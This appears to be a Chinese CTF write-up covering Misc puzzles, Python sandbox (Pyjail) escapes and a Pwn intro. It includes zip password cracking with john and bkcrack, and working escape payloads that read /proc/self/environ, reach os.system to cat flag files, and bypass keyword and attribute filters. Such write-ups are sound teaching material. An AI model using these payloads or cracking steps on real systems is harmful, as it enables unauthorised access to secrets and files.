咕吉豆欧莫季里;欧莫季里没咕吉豆没南北绿豆?库路曼波咕吉豆没咕库路曼波。哈基米吉豆没咕哦吗吉利?哈基米奶压多那吉豆库路曼波,库路曼波没咕吉豆耶咕阿西噶压,椰奶龙吉豆没咕吉豆没窝那没撸多?阿西噶压咕吉豆没咕欧莫季里。奈诺娜美嘎吉豆没咕吉豆哈基米?欧莫季里没咕奶压多那吉库路曼波;阿西噶压豆没咕奶椰奶龙;奈诺娜美嘎压多那吉南北绿豆,窝那没撸多豆没咕吉欧莫季里;南北绿豆豆没咕吉豆奈诺娜美嘎。库路曼波没咕吉豆奈诺娜美嘎,南北绿豆没咕吉豆没咕吉窝那没撸多?库路曼波豆耶咕奶压多阿西噶压,哈基米那吉豆没米吉豆窝那没撸多;哈基米没咕吉豆没咕吉南北绿豆?奈诺娜美嘎豆没咕吉豆没奈诺娜美嘎;南北绿豆咕吉豆没南北绿豆。奈诺娜美嘎咕奶压多那吉奈诺娜美嘎?南北绿豆豆没米吉椰奶龙;椰奶龙豆没咕吉豆没窝那没撸多?欧莫季里咕吉豆没咕吉豆库路曼波;欧莫季里没咕吉豆没咕南北绿豆?奈诺娜美嘎吉豆没咕奶窝那没撸多;南北绿豆压多那吉豆没咕哈基米?欧莫季里吉豆没米吉豆欧莫季里;阿西噶压没咕吉豆奈诺娜美嘎;阿西噶压没咕吉豆没咕吉椰奶龙,哈基米豆没咕吉豆没阿西噶压?南北绿豆咕奶压多那椰奶龙。欧莫季里吉豆没咕吉豆没库路曼波;哈基米吗喵子路路吉阿西噶压,窝那没撸多豆没咕吉豆哦吗吉利;南北绿豆没咕吉豆阿西噶压?阿西噶压没咕吉豆没南北绿豆;哈基米咕吉豆没咕窝那没撸多;阿西噶压奶压多那吉椰奶龙;库路曼波豆没咕吉豆没米阿西噶压,奈诺娜美嘎吉豆没咕吉窝那没撸多。阿西噶压豆没咕吉窝那没撸多,阿西噶压豆没咕吉豆欧莫季里?库路曼波没咕吉豆没窝那没撸多,库路曼波咕吉豆耶咕奶压窝那没撸多?哦吗吉利多那吉豆没米阿西噶压。哈基米吉豆没咕吉欧莫季里;南北绿豆豆没咕吉欧莫季里。南北绿豆豆没咕吉豆没咕南北绿豆?椰奶龙吉豆没米吉豆椰奶龙;库路曼波耶咕吉豆没阿西噶压?欧莫季里咕吉豆没米南北绿豆;南北绿豆吉豆没咕吉豆没哈基米;哦吗吉利咕吉豆没咕吉奈诺娜美嘎?窝那没撸多豆没咕吉豆库路曼波,库路曼波没咕奶压多那吉阿西噶压。窝那没撸多豆没咕吉豆库路曼波?阿西噶压没西一奈哪买噶阿西噶压;哦吗吉利奈哪买噶哦吗吉利;椰奶龙奈哪买噶奈南北绿豆,库路曼波哪买噶奈哪买娜库路曼波,哈基米奈哪买北奈哪买窝那没撸多。欧莫季里噶奈哪买北奈哈基米,椰奶龙哪买噶奈库路曼波?南北绿豆哪买噶奈欧莫季里;哈基米哪买噶奈椰奶龙,奈诺娜美嘎哪买噶奈哪南北绿豆,库路曼波买娜奈哪哦吗吉利?阿西噶压买北奈哪买娜奈库路曼波。欧莫季里哪买噶奈欧莫季里,库路曼波哪买噶奈哪买欧莫季里?库路曼波噶奈哪买噶奈窝那没撸多;阿西噶压哪买噶奈阿西噶压;窝那没撸多哪买噶奈哪买北南北绿豆。库路曼波多多压那欧莫季里?欧莫季里奈哪买娜奈哪哦吗吉利;哈基米买噶奈哪买噶奈库路曼波,库路曼波哪买噶奈库路曼波?奈诺娜美嘎哪买噶奈哪阿西噶压,南北绿豆买噶多多压库路曼波;南北绿豆那奈哪买娜奈库路曼波,库路曼波哪买北奈哪椰奶龙,欧莫季里买噶奈哪买库路曼波。窝那没撸多噶奈哪买噶窝那没撸多,哈基米奈哪买噶阿西噶压。南北绿豆奈哪买噶多椰奶龙?哈基米多压那奈哪阿西噶压;库路曼波买娜奈哪买欧莫季里?库路曼波娜奈哪买噶奈欧莫季里;哈基米哪买噶奈哪椰奶龙。窝那没撸多买噶奈哪奈诺娜美嘎;椰奶龙买噶奈哪买库路曼波,阿西噶压娜奈哪买北椰奶龙。奈诺娜美嘎奈哪买噶奈哈基米;窝那没撸多哪买北奈哪哈基米。奈诺娜美嘎买噶奈哪买噶窝那没撸多?南北绿豆奈哪买噶欧莫季里,库路曼波奈哪买噶奈哪买库路曼波。南北绿豆娜奈哪买南北绿豆;欧莫季里北奈哪买娜奈哦吗吉利。哈基米哪买娜子窝那没撸多;南北绿豆酷波利子撸娜哪哈基米?哈基米哈里椰路阿西噶压,阿西噶压奈哪买噶奈哪哈基米。哈基米买噶奈哪买噶库路曼波?欧莫季里奈哪买噶奈哪南北绿豆,奈诺娜美嘎买噶多多椰奶龙;阿西噶压压那奈哪库路曼波;库路曼波买噶多多压那奈库路曼波;哦吗吉利哪买噶奈哪买哦吗吉利。椰奶龙噶奈哪买噶奈窝那没撸多,阿西噶压哪买噶奈哪买噶欧莫季里,库路曼波多多压那奈库路曼波;窝那没撸多哪买噶多多压那哈基米,窝那没撸多喔米哦啊呀砸奈诺娜美嘎;椰奶龙曼吉豆没咕南北绿豆;库路曼波吉豆没咕吉豆没阿西噶压?哦吗吉利咕吉豆没咕吉哦吗吉利;库路曼波豆没咕奶压库路曼波。库路曼波多那吉豆南北绿豆?奈诺娜美嘎没米吉豆库路曼波;哦吗吉利耶吗一奈哪买奈诺娜美嘎。椰奶龙噶奈哪买噶奈阿西噶压?哈基米哪买噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶阿西噶压;窝那没撸多多多压那阿西噶压,阿西噶压奈哪买北奈阿西噶压,欧莫季里哪买噶奈哪买噶哈基米。哈基米奈哪买噶奈诺娜美嘎?哈基米奈哪买噶库路曼波。南北绿豆奈哪买噶奈哪阿西噶压,奈诺娜美嘎买噶多多压那欧莫季里;南北绿豆奈哪买噶哈基米,窝那没撸多奈哪买北奈哪买南北绿豆,欧莫季里噶奈哪买奈诺娜美嘎?哦吗吉利噶奈哪买哈基米;南北绿豆噶奈哪买南北绿豆;窝那没撸多噶奈哪买娜奈哪椰奶龙,欧莫季里买北奈哪买噶阿西噶压,库路曼波多多压那奈哪买哈基米;哈基米噶奈哪买噶窝那没撸多?欧莫季里奈哪买噶奈哪买哦吗吉利。阿西噶压噶奈哪买噶多哦吗吉利,阿西噶压多压那奈哪买阿西噶压,哈基米北奈哪买南北绿豆,南北绿豆噶奈哪买噶奈阿西噶压,欧莫季里哪买噶奈哦吗吉利。椰奶龙哪买噶奈哈基米,库路曼波哪买噶奈窝那没撸多,奈诺娜美嘎哪买噶多窝那没撸多,椰奶龙多压那奈哪买噶南北绿豆,阿西噶压奈哪买北奈哈基米;哈基米哪买噶奈哪奈诺娜美嘎,哦吗吉利买噶奈哪买噶奈阿西噶压,窝那没撸多哪买噶奈哪阿西噶压。窝那没撸多买娜多多椰奶龙;椰奶龙压那多多压奈诺娜美嘎;阿西噶压那奈哪买娜南北绿豆。哦吗吉利自米哦啊南北绿豆;奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。
注意到题目给出了一个「哈基米语翻译器」,直接使用:

只是这玩意为啥跑出来是 fakeflag?不对,复制到 fakeflag.txt 丢到 HexEd.It 一看,果不其然给我藏东西了😡😡

可能是零宽字符隐写。我们刚好有工具 Unicode Steganography with Zero-Width Characters 可以用。粘贴进去拿到 Hidden Text,这就是 flag 了。

✅ 捂住一只耳
下载 粒子艺术.wav,注意到其中一个声道几乎没有声音,我们尝试使用 Audition 打开该 .wav 文件。注意到其中一个声道的波形呈现出摩斯密码状,手动解码即可。
✅ Enchantment
注意到附件内是一个 .pcapng 文件,考虑使用 WireShark 分析。根据题目说明,「发了出去」的请求可能是 HTTP 请求,为了验证这一点,我们使用 Statistic > Protocol Hierarchy(统计 > 协议分级)工具,发现大部分请求均为 Internet Protocol Version 6 和 Internet Protocol Version 4。

运用 Filter(过滤器),输入 http 后过滤出全体 HTTP 请求。注意到第 193 个请求是一个 HTTP POST 请求,其内容为一个 PNG 文件,于是锁定该文件。

我们使用 File > Export Object > HTTP(文件 > 导出对象 > HTTP)导出第 193 个请求,手动移除该请求体的头尾后,得到 enchantment.png。

注意到上面显示的是 Standard Galactic Alphabet(星际银河字母),使用 解码器 即可。
✅ WebRepo
我们解压并扫描这个来路不明的二维码,得到下面的提示:
Flag is not here, but I can give you a hint:
Use binwalk.
这给了我们极大的提示,使用 binwalk 得到:
1 | ┌──(stellalyrin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc] |
注意到在 0x3E8C 后存在 7-zip 归档文件,我们使用 dd 来提取:
1 | dd if=./WebRepo.webp of=./WebRepo.7z bs=1 skip=16012 |
得到 WebRepo.7z。使用 7-Zip 打开发现里面有一个 .git 文件,熟悉 Git 的朋友们一定知道这其中的奥秘了。
直接将 .git 文件夹拖拽到一个空文件夹中,使用 Visual Studio Code 的 Git 可视化工具读取名为 flag 的 commit 中提交的新文件即可。
✅ ez_ssl
解包附件后得到一个 .pcapng 文件,故继续使用 WireShark 打开分析。我们发现,近乎大部分的流量都是 TLSv1.2 的,故我们必须要先解密这些 HTTPS 流量。考虑到题目所说的
但与此同时,他的浏览器却悄悄上传了另一份文件。
我们推测解密必需的 CLINET_RANDOM 就包含在这份 .pcapng 文件中。运用 Filter(过滤器)输入 frame contains "CLIENT_RANDOM" 后确得到第 243 个请求包含了 CLIENT_RANDOM。

我们固然可以追踪该请求的 TCP Stream,将其 CLIENT_RANDOM 提取后导入到 WireShark 中。不过,更简便的方法是直接将整个 .pcapng 文件导入到 WireShark,让后者智能地从文件中获得 CLIENT_RANDOM。
在 Edit > Preferences > Protocols > TLS( 编辑 > 首选项 > Protocols > TLS)的 (Pre)-Master-Secret log filename 中直接选择该 .pcapng 文件即可。

之后继续过滤全体 HTTP POST 请求,在 Filter(过滤器)中输入 http.request.method == "POST" && http.content_type contains "multipart/form-data",过滤出请求 165 和 243,又由于 243 是传输 CLIENT_RANDOM 的请求,锁定 165 后,导出其对象,手动移除该请求体的头尾后,得到 flag_extracted.zip。
不过该 flag_extracted.zip 仍然有一层密码保护,在 7-Zip 的 文件 > 属性 中发现了注释
锘垮瘑鐮佷负7浣嶇函鏁板瓧
继续使用乱码恢复器进行恢复,发现是将 UTF-8 编码的文本以 GBK 形式打开。通过解码得到
密码为7位纯数字
准备使用 john 爆破。生成哈希后,我们使用增量模式爆破即可。
1 | zip2john flag_extracted.zip > flag_extracted.john |
得到密码 6921682。解压后得到 flag.txt(省略了部分)——
1 | Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. ... |
无敌了……用 Ook 解密器即可。
✅ ez_png
根据题目提示
秘密不在颜色中,而在文件的骨骼里。
注意:某些数据段的长短似乎不太协调。
首先排除再次出现 LSB 隐写的可能。我们可能会认为该图片的大小发生了改变,flag 隐藏于未显示的像素中,故尝试更正图片的 IHDR 数据。对于一个 .png 文件,其文件头均为 89 50 4E 47 0D 0A 1A 0A,随后出现 IHDR 数据,结构如
1 | ... 49 48 44 52 WW WW WW WW HH HH HH HH ... |
尝试修改 Width 和 Height 后均失败。

首先使用 pngcheck,但未检查出 CRC 不符等的情况,再使用 zsteg 尝试,结果如下:
1 | ┌──(stellalyRin㉿lyrin-A16)-[/mnt/s/MoeCTF/Misc] |
zsteg 指示它检测出 IDAT 数据流后 38 个字节的冗余数据,并直接将其打印出来。注意到它经过了 zlib compressed,我们考虑使用 CyberChef 解码即可。冗余数据的十六进制表示如下:
1 | 789ccbcd4f4d2e49abce30744971cd8b0f3089ccf14f7489f7f4d3f54c3109a90500a8d00a5f |
向 CyberChef 的 Recipe 中加入 From Hex 和 Zlib Inflate 即可。
✅ 万里挑一
星澜音超级喜欢的一道 Misc 题目!
下载 attachment.zip 后,内有 3 个文件。hint.txt 指示
Only one password in the 10000 archives can open the lock
这倒好说——lock.zip 应该就是被加密的压缩包,而 password.zip 则为包含了 10,000 个密码的压缩包。打开 password.zip,直接震撼!😱文件结构大致如下:
1 | .\password.zip\X.zip\X.zip\X.zip\X.zip\pwd.txt |
这里 X 为 0, 1, 2, …, 9。10,000 个密码直接递归地存储在给定的压缩包中……太吓人了。我们需要递归地解压并提取 pwd.txt。这里我们直接使用 Python 脚本完成。
extract_passwords.py 脚本示例
extract_passwords.py 脚本示例1 | """extract_passwords.py |
提取 10,000 个密码后,我们使用 zip2john 生成该 lock.zip 的 Hash 如下:
1 | lock.zip/flag.zip:$zip2$*0*3*0*a88bcad537062a02a067a69d60dcc5ad*6017*20140*502fb5b3209956adc298cf4e0 ... |
生成的 lock.hash 有足足 256 KiB,这里就不放完整版本了。接下来,指定字典为 extracted_passwords.txt 再进行爆破。
1 | zip2john lock.zip > lock.hash |
得到输出
1 | [stellalyrin@stellasus wanlitiaoyi]$ john --show lock.hash |
这便得到了 lock.zip 的密码 a296a5ec1385f394e8cb。解压得到其中的 flag.zip,后者中有 明文.exe 和 flag.txt,终于拿到 flag 了!打开一看,不好,这 flag.zip 怎么还有密码?
目光回到 flag.zip 上。根据
中「明文攻击」记载的内容,ZIP 存在这样一种特性:倘若我们得到一个已有的未压缩的(仅打包的).zip 文件,并已知其中至少 12 个字节的连续数据,就可以暴力破解出该 .zip 中的文件。当然,这要求 .zip 文件必须是 ZipCrypto Store 打包的,而这里,我们的 .zip 恰好满足这一点,这可以通过 Ark 压缩文件管理工具 验证。

参考
目光回到 明文.exe 上。熟悉 Windows 的朋友们应当知道,当我们尝试用 notepad 打开一个 .exe 文件时,通常映入眼帘的是一堆乱码和一个
1 | This program cannot be run in DOS mode. |
事实上,这样的 .exe 文件都具有 PE 结构,而 PE 结构恰好具有类似的结构体,例如 DOS 头、PE 头、节表等。在 DOS 头中我们有 DOS 存根(DOS stub),包含一段汇编代码,它的功能就是显示刚刚的那一段文字。当该 .exe 文件运行在 16 位的环境中时,上面的文字就会被输出,然后进程便自动退出。
既然每一个 .exe 文件都有这样的结构,我们不妨直接使用这段连续数据来攻击 .zip 文件!我们随便写一个 .exe 程序,这里星澜音就将其命名为 love_dryice.exe,然后丢入 HexEd.it 中,观察文件头:

这段文字距离文件头 78 个字节,也就是说,它的偏移量为 78。我们将这段文字写入 pe_header 中,但需要注意的是,默认情况下,输入的内容都带有一个隐藏的换行符,它会导致稍后的破解工具无法正确匹配 flag.zip 中的内容,所以我们需要这样写入文件
1 | echo -n "This program cannot be run in DOS mode." > pe_header |
然后使用 bkcrack 工具开始爆破 .zip 文件!指令如下
1 | bkcrack -C flag.zip -c 明文.exe -p pe_header -o 78 |
其中 -C 后接被爆破的 .zip 文件,-c 后接你所知道的连续数据出现的文件,-p 后接连续数据,-o 后接该连续数据相对于 -c 文件的文件头的偏移。
程序输出
1 | [stellalyrin@stellasus wanlitiaoyi]$ time bkcrack -C flag.zip -c 明文.exe -p pe_header -o 78 |
这里星澜音加入了 time 以计时整个操作,用时约 0.6 个两分半完成。事实上,你可以为连续数据包含更多内容,这样爆破起来也会更快。我们得到了该 .zip 文件的 keys:eec878a3 6808e48f 3aa41bd8,下面就可以解压出该压缩包了。需要注意的是,这个 keys 并非解压密码。
这里我们继续使用 bkcrack,命令如下:
1 | bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt |
其中 -C 仍然后接爆破的 .zip 文件,-c 后接需要解压的文件,-k 后接上面我们得到的 keys,-d 指定输出路径。爆破成功后,cat flag.txt 即可。
1 | [stellalyrin@stellasus wanlitiaoyi]$ bkcrack -C flag.zip -c flag.txt -k eec878a3 6808e48f 3aa41bd8 -d flag.txt |
彩蛋
当然,星澜音还是想看看出题人在 明文.exe 里留了什么东西!按照同样的方法解开 明文.exe 并用 Ghidra 打开:

原来只有 Hello World 吗……😞(失望而归)
✅ Pyjail 0
使用 nc 连接到目标服务器后,考虑题目提示的 Web 赛道第 12 章的 flag 位置,其位于环境变量中。我们猜测远程服务器使用 cat 打印文件内容,这下坏了,cat 怎么打印环境变量呢?我们借助 /proc/self/environ 完成这一点。
原理解析
/proc 是一个由 Linux 内核虚拟出来的文件系统,通常被称为 procfs,它为用户提供了一个窗口,可以用查看文件这种简单直观的方式,查看和修改内核及正在运行的进程的各种数据。例如,使用 ls /proc 可以看到许多以数字命名的目录,这些数字对应着系统的 进程 ID(PID),每个目录都包含了对应进程的详细信息。
为了方便起见,内核提供了一个特殊的符号链接(symlink)/proc/self,它永远指向当前正在访问 /proc/self 的那个进程的自己的信息目录。当我们使用 cat 尝试打开 /proc/self/environ 时,内核会首先将 self 转换为 cat 的 PID,随后直接为 cat 提供一份当前进程的环境变量列表的拷贝。这样就得到了 environ。
✅ Pyjail 1
题目源码
1 | def chall(): |
Payload 可如下构造:
1 | print(getattr(__builtins__, 'o'+'p'+'e'+'n')('/tmp/flag.txt').read()) |
它基于下面的原始 Payload 衍生。
1 | print(open('/tmp/flag.txt').read()) |
何为 __builtins__?
__builtins__?这里的 __builtins__ 是一个模块,它包含了 Python 的所有内置函数、异常和属性。我们熟悉的 print()、len()、open() 和 ValueError 之类的东西都在这个模块里。Python 解释器会自动让 __builtins__ 内的内置函数在任何地方均可用,这也是为什么我们并不需要 import 什么东西就可以直接使用 print()。事实上,当我们调用 open() 时,Python 就是在 __builtins__ 中找到了它。
何为 getattr()?
getattr()?这里 getattr(object, name[, default]) 是一个内置函数,可用来动态获取一个对象的属性。其中,object 指从哪个对象获取属性,name 表示获取的属性的名字,default 返回一个属性不存在时的默认值,以代替 AttributeError 异常。比如说我们定义下面这样一个零音类:
1 | class LyRin: |
在一般的 Python 实践中,我们可以直接通过 lyrin_instance.patpat() 调用零音实例的 patpat() 方法,但我们也可以用 getattr() 做到这一点。这里,我们有
1 | method_name = 'patpat' |
它等价于直接的调用。
如何实现关键词过滤?
我们再回过头看一下 src.py 中对 open 关键字的过滤:
1 | if keyword in user_input: |
注意到,它的关键字过滤是在 user_input 中匹配可能的 keyword,也就是说,它只会管 user_input 中连续出现的 open 四个字母。我们先前已经说过,由 getattr() 得到的对方法的调用,其 method_name 是一个字符串。既然是字符串,虽然它过滤了 open,但我们仍然可以用 'o'+'p'+'e'+'n' 将目标字符串拼接出来。
nc 连接远程服务器后,使用该 Payload 得到 flag。
✅ Pyjail 2
题目源码
1 | def chall(): |
还把特殊字符屏蔽了?好在这次终于自带 __builtins__ 了,那还有啥好说的,想办法把特殊字符绕过就对了呗🤔只是这玩意绕过确实有点困难了。星澜音在这里直接给出 Payload:
1 | print(getattr(getattr(getattr(globals(),chr(103)+chr(101)+chr(116))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(111)+chr(112)+chr(101)+chr(110))(chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)),chr(114)+chr(101)+chr(97)+chr(100))()) |
首先,我们的目标一定是执行这一行代码,「祖宗之法不可变」:
1 | print(open('/tmp/flag.txt').read()) |
但是它既不能 open,也不能 .、'、"🤔怎么办呢?我们在 Pyjail 1 中讨论过,任何函数调用都可以转换为 getattr() 的形式,而 getattr() 的好处有很多:首先,它不会出现 .;其次,它的函数名是以 str 形式呈现的,而 str 的可操作性就大了:不仅可以像上次那样拼接,甚至可以用 chr() 的形式,直接输入其 ASCII 编码,让它在远程服务器转换为字母后再运行!
详细原理
根据「祖宗之法」,我们首先获取 open 函数。文件路径是相对碍事的,因为它自身还涉及到特殊符号,故我们先暂设 STR_FLAG_PATH 为 "/tmp/flag.txt",先考虑函数调用的问题。我们从内到外地考虑,首先对于
1 | open(STR_FLAG_PATH) |
由于 open 是过滤关键字,不存在这样的一种方法可以直接调用 open() 函数,思来想去,还是要借用 getattr 之力,从 globals 中取出 open 来。上例中我们对 os._wrap_close.__init__ 函数取了 .__globals__ 来获得其全局命名空间,从而获得 __builtins__;但这一次 src.py 并没有屏蔽 eval() 的 __builtins__,我们直接取 __main__ 函数的 .__globals__ 即可。这里的 Payload 更简单——只需 globals()。
1 | >>> globals() |
这样,我们的当务之急就是进入 __builtins__ 了。不过,因为特殊字符串的问题,我们不能写 globals()['__builtins__'],也不能写 globals().get('__builtins__'),看来仍然需要 getattr() 发力:
1 | getattr(globals(), 'get')('__builtins__') |
诶等等…!__builtins__ 里不是有 _ 了吗?甚至 "get" 里也有了 ",太碍事了:无妨,我们暂设 STR_BUILTINS 为 "__builtins__",STR_GET 为 "get",稍后再处理。现在就变成了:
1 | getattr(globals(), STR_GET)(STR_BUILTINS) |
好耶!现在我们拿到了 __builtins__,我们就要获得它的 open() 函数。同样地,我们还是不能写 __builtins__.open()😡所以需要再次用 getattr(),得到
1 | getattr(__builtins__, 'open') |
暂设 STR_OPEN 为 "open",将 __builtins__ 替换为上文,得到 open(STR_FLAG_PATH) 的最终形态:
1 | getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN) |
好长一串😖现在我们拿到了 open()。我们先调用 open:
1 | getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN)(STR_FLAG_PATH) |
😎然后从返回的文件对象中获取 read 方法。同样我们还是不能用 .,所以只好再用一次 getattr() 了,暂设 STR_READ 为 "read",得到
1 | getattr( getattr( getattr(globals(), STR_GET)(STR_BUILTINS) , STR_OPEN)(STR_FLAG_PATH), STR_READ )() |
接下来用 print() 返回结果。考虑到 print 没有被屏蔽,也不涉及特殊符号,直接加在外面就行。去除掉冗余的空格,有
1 | print(getattr(getattr(getattr(globals(), STR_GET)(STR_BUILTINS), STR_OPEN)(STR_FLAG_PATH), STR_READ)()) |
好的,大体框架已经出来了,不过这里的 5 个 STR_ 如何处理呢?考虑到 5 个都是 str,既然拼接也行不通,那么就无脑上 chr() 转换和拼接了!我们写一个 string_to_chr() 函数充当转换器:
1 | def string_to_chr(s): |
将刚才的变量全部构造为 chr() 的形式:
1 | CHR_GET = string_to_chr(STR_GET) |
这是什么原理呢?举个例子,STR_GET 的值为 "get",转换到 CHR_GET 就变成了 'chr(103)+chr(101)+chr(116)';而将 chr() 拼接出的字符串当做参数传入 getattr() 时,并不需要外面包裹引号,所以可以直接裸传入函数!
这样,我们就构造出了 Payload:
1 | print(getattr(getattr(getattr(globals(), CHR_GET)(CHR_BUILTINS), CHR_OPEN)(CHR_FLAG_PATH), CHR_READ)()) |
替换掉 5 个 CHR_ 即可。
✅ Pyjail 3
题目源码
1 | def chall(): |
这道题的 __builtins__ 变成了 None 了?这下我们没法直接用 os 和 print 这种东西了,必须另辟蹊径:
1 | [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("cat /tmp/flag.txt") |
Payload 解析
拆解这个 Payload:
首先看到 '',它是一个空字符串对象,我们使用 .__class__ 可以获得它的类,即 <class 'str'>,字符串类。我们用 .__base__ 获得它字符串类的基类(父类),在 Python 中几乎所有类都继承自 <class 'object'>,而 <class 'str'> 亦不例外。紧接着,我们再使用 .__subclasses__() 获得 object 类的所有直接子类,它会返回一个列表,列表中包含当前 Python 环境中所有可用的类(包括内置类、导入的模块中的类等)。如果你尝试过
1 | ''.__class__.__base__.__subclasses__() |
可以得到输出如下(有省略):
1 | [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, ...] |
接下来我们使用 for x in ... if x.__name=="_wrap_close" 来从上述所有子类中遍历名为 _wrap_close 的类。这里的 _wrap_close 是 os 模块中的一个非常不起眼的类,它用于包装文件关闭操作。虽然我们不直接用到 _wrap_close,尽管 _wrap_close 微不足道,但它也是 os 的一部分——拿到了 _wrap_close,就拿到了 os 模块的家门!
然后,我们使用了 x.__init__.__globals__。首先对于 os._wrap_close,获得它的 .__init__ 可以得到其构造函数 <function os._wrap_close.__init__(self, stream, proc)>;又因为它的构造函数与 _wrap_close 类定义在同一个模块中,所以它的构造函数的 .__globals__ 指向的也是这个模块的全局命名空间,而这个模块,恰好,就是 os!也就是说,我们拿到了 os 模块的全局命名空间中的一切,包括它导入的其他模块、模块自身定义的函数、类和变量等等。我们又知道,system 函数就定义于 os 内(os.system),这下好说了,直接用键 "system" 取出 os.system 函数就好😋在 Linux 的 Python 上,可以得到 os.system 为 <built-in function system>,而 Windows 侧即 <function nt.system(command)>。
有了函数,后面跟着 ("command") 就能调用了。
✅ Pyjail 4
题目源码
1 | import ast |
遇到了一个相对比较棘手的情况:程序一上来禁用了 16 个属性,几乎封死了我们所有的常规路线;而可用的 __builtins__ 被限制到了可怜的 safe_builtins 的仅 5 个元素。我们几乎别无他法,只好从 safe_builtins 下手。考虑到 print、filter 之类的可利用性不高,list 和 len 也没法妙手回春,目光只能锁定到 Exception 上。没错,这道题就要使用 Exception,进行一次栈帧逃逸!
1 | try: |
原理解析
首先我们使用 try-except 块,在 try 中手动引起一次 Exception,然后在 except 中接收该 Exception 实例 e。
接下来我们对该实例进行一次回溯——e.__traceback__ 可以获取该 Exception 的回溯对象 tb,它包含了调用栈的详细信息(如函数调用链)。再对 tb 取 .tb_frame,从回溯对象中获取当前的帧对象(frame object),帧对象代表了执行栈中的一个特定点(例如函数调用时的状态)。
对于这个帧,我们多次访问它的 f_back 属性,便可以向上回溯整个调用栈。我们连续 3 次使用 f_back,便可以跳过当前的 Exception 处理帧和它的直接调用者,达到一个更外层的帧,这样便可以访问该帧的内置函数了😋
我们设回溯 3 次后的帧为 f,取 f.f_builtins 得到该帧的内置符号表(builtins)。先前我们讨论过 builtins ,现在知道里面有什么了吧😋直接打印 flag 就好。
✅ Pyjail 5
题目源码
1 | import ast |
遇到了更棘手的:整个 ast.Attribute 全~都用不了,甚至 __builtins__ 只有 Exception 和 object?!只需注意到:Exception 可以用来将 raise Exception(...) 当 print(...) 用,那么这一切的一切,就应该从 object 下功夫了。这里给出 Payload:
1 | match object(): |
哼哼——「内省」、「反射」,要发力了!
在 Python 3.10 中引入了 match-case 语法,match 语句接受一个表达式,并把它的值与一个或多个 case 块给出的一系列模式进行比较,有点类似于 Rust 的模式匹配。我们先前说 Pyjail 5 的环境禁用了 ast.Attribute,这样看来直接访问属性或调用方法是无稽之谈;但 match-case 巧就巧在这里——
1 | match object(): |
这个平平无奇的匹配,会将 object 类绑定到 object_class 中!
具体来说,object() 创建了一个新的 object 实例;我们用 case object() 来匹配类型为 object 的这个 object 实例(这是一定可以成功的,因为 Python 中几乎所有对象的基类都是 object),一旦匹配成功,这个实例的 .__class__ 属性就会被绑定给变量 object_class。这有什么用呢?想想,如果我们没有 match-case 表达式,这两行代码或许是这么写的:
1 | object_class = object().__class__ |
这会自然引出一个 ast.Attribute 的结构。但 match-case 不会,它本身属于 ast.Match 结构,来无影、去无踪,在行云流水之中完成了赋值,绕过了 ast.Attribute。
那么,我们大概就明白了:一旦需要用到 ast.Attribute,我们就用 match-case 来曲线救国地赋值;并且,无论如何均能使用 case object(...),因为 Python 的对象几乎都继承自 object!我们的目标是:拿到 __getattribute__ 方法,得到 __subclasses__ 方法,拿到 object 的所有直接子类后,想一个办法拿到 __builtins__ 和 globals,这样就可以任意 eval 了!😋
Payload 解析
我们使用
1 | match object(): |
拿到 object 类本身。随后
1 | match object_class: |
再将 object.__class__(即 object 的元类 type)匹配给 type_class。然后
1 | match object_class: |
再次匹配 object 的 __getattribute__ 方法用于属性查找,并绑定到变量 getattribute_func 中。下面
1 | subclasses_method = getattribute_func(object_class, '__subclasses__') |
接下来,我们使用 getattribute_func 方法调用 object 类的 __subclasses__ 方法,该方法返回 object 的所有直接子类列表,然后再使用 subclasses_method() 获得全体子类,存储到 all_subclasses 中。随后
1 | for sc in all_subclasses: |
FileFinder 是 Python 中 importlib.machinery 模块中的一个类,用于文件查找和导入机制。对于 all_subclasses 中的所有子类 sc,我们遍历并使用 getattribute_func 获取每个子类的 __name__ 属性——如果子类名称为 'FileFinder',则进入 if 块。在 if 块中——
1 | init_func = getattribute_func(sc, '__init__') |
首先我们获取了 FileFinder 类的 __init__ 方法(即构造函数),然后获取了后者的 __globals__ 属性,该属性指向定义 FileFinder 的模块的全局命名空间 globals_dict,在这里:
1 | builtins = getattribute_func(globals_dict, '__getitem__')('__builtins__') |
我们从 globals.dict 中使用 __getitem__ 方法获取了 __builtins__ 的值,从内置的字典中,我们顺风顺水拿到了 eval 函数,并绑定了 eval_func。接下来的事,我们就都很熟悉了。
二进制漏洞审计 Pwn
星澜音是纯粹 0 基础入门 Pwn。其实和 Crypto 相比,入门 Pwn 也一样痛苦;但好在有一点计算机基础
✅ 0 二进制漏洞审计
手动用 nc 连接一次,明晰交互逻辑后即可直接修改题目的脚本。
Exploit 脚本
1 | from pwn import * |
题目列出了一些思考题,以及部分星澜音所好奇的点。下面给出这些题目的答案。
Pwntools 和远程服务器是如何 connect 的?是通过 SSH 连接吗?
答案
